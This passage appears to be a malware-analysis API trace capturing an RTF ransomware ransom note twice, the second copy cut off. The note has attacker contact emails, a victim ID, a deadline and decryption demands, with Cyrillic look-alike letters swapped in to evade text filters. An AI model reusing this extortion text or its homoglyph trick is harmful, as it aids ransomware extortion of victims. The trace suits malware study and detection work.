i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 